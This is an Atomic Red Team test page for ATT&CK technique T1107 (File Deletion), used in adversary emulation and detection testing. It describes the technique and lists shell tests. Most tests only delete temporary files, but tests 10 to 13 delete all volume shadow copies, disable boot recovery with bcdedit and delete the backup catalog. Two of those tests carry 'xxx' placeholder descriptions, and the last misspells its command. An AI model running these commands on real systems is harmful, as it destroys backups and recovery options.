CircleCI Atomic Red Team doc generator
6.0 KiB
T1107 - File Deletion
Description from ATT&CK
Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces behind as to what was done within a network and how. Adversaries may remove these files over the course of an intrusion to keep their footprint low or remove them at the end as part of the post-intrusion cleanup process.There are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well. Examples include native cmd functions such as DEL, secure deletion tools such as Windows Sysinternals SDelete, or other third-party file deletion tools. (Citation: Trend Micro APT Attack Tools)
Detection: It may be uncommon for events related to benign command-line functions such as DEL or third-party utilities or tools to be found in an environment, depending on the user base and how systems are typically used. Monitoring for command-line deletion functions to correlate with binaries or other files that an adversary may drop and remove may lead to detection of malicious activity. Another good practice is monitoring for known deletion and secure deletion tools that are not already on systems within an enterprise network that an adversary could introduce. Some monitoring tools may collect command-line arguments, but may not capture DEL commands since DEL is a native function within cmd.exe.
Platforms: Linux, Windows, macOS
Data Sources: Binary file metadata, File monitoring, Process command-line parameters
Defense Bypassed: Host forensic analysis
Permissions Required: User
Contributors: Walker Johnson
Atomic Tests
Atomic Test #1 - Victim configuration
Create a temporary directory and several files on the victim system for later deletion
Supported Platforms: Linux
Run it with sh!
mkdir /tmp/victim-files
cd /tmp/victim-files
touch a b c d e f g
echo "This file will be shredded" > /tmp/victim-shred.txt
Atomic Test #2 - Delete a single file
Delete a single file from the temporary directory
Supported Platforms: Linux
Run it with sh!
rm -f /tmp/victim-files/a
Atomic Test #3 - Delete an entire folder
Recursively delete the temporary directory and all files contained within it
Supported Platforms: Linux
Run it with sh!
rm -rf /tmp/victim-files
Atomic Test #4 - Overwrite and delete a file with shred
Use the shred command to overwrite the temporary file and then delete it
Supported Platforms: Linux
Run it with sh!
shred -u /tmp/victim-shred.txt
Atomic Test #5 - Victim configuration
Create a temporary directory and several files on the victim system for later deletion
Supported Platforms: Windows
Run it with command_prompt!
mkdir %TEMP%\victim-files-cmd
cd %TEMP%\victim-files-cmd
type nul > a
type nul > b
type nul > c
type nul > d
type nul > e
type nul > f
type nul > g
mkdir %TEMP%\victim-files-ps
cd %TEMP%\victim-files-ps
type nul > a
type nul > b
type nul > c
type nul > d
type nul > e
type nul > f
type nul > g
Atomic Test #6 - Delete a single file - cmd
Delete a single file from the temporary directory using cmd.exe
Supported Platforms: Windows
Run it with command_prompt!
del /f %TEMP%\victim-files-cmd\a
Atomic Test #7 - Delete an entire folder - cmd
Recursively delete the temporary directory and all files contained within it using cmd.exe
Supported Platforms: Windows
Run it with command_prompt!
del /f /S %TEMP%\victim-files-cmd
Atomic Test #8 - Delete a single file - ps
Delete a single file from the temporary directory using Powershell
Supported Platforms: Windows
Run it with powershell!
Remove-Item -path %TEMP%\victim-files-ps\a
Atomic Test #9 - Delete an entire folder - ps
Recursively delete the temporary directory and all files contained within it using Powershell
Supported Platforms: Windows
Run it with powershell!
Remove-Item -path %TEMP%\victim-files-ps -recurse
Atomic Test #10 - Delete VSS - vssadmin
Delete all volume shadow copies with vssadmin.exe
Supported Platforms: Windows
Run it with command_prompt!
vssadmin.exe Delete Shadows /All /Quiet
Atomic Test #11 - Delete VSS - wmic
Delete all volume shadow copies with wmic
Supported Platforms: Windows
Run it with command_prompt!
wmic shadowcopy delete
Atomic Test #12 - bcdedit
xxx
Supported Platforms: Windows
Run it with command_prompt!
bcdedit /set {default} bootstatuspolicy ignoreallfailures
bcdedit /set {default} recoveryenabled no
Atomic Test #13 - wbadmin
xxx
Supported Platforms: Windows
Run it with command_prompt!
wbdadmin delete catalog -quiet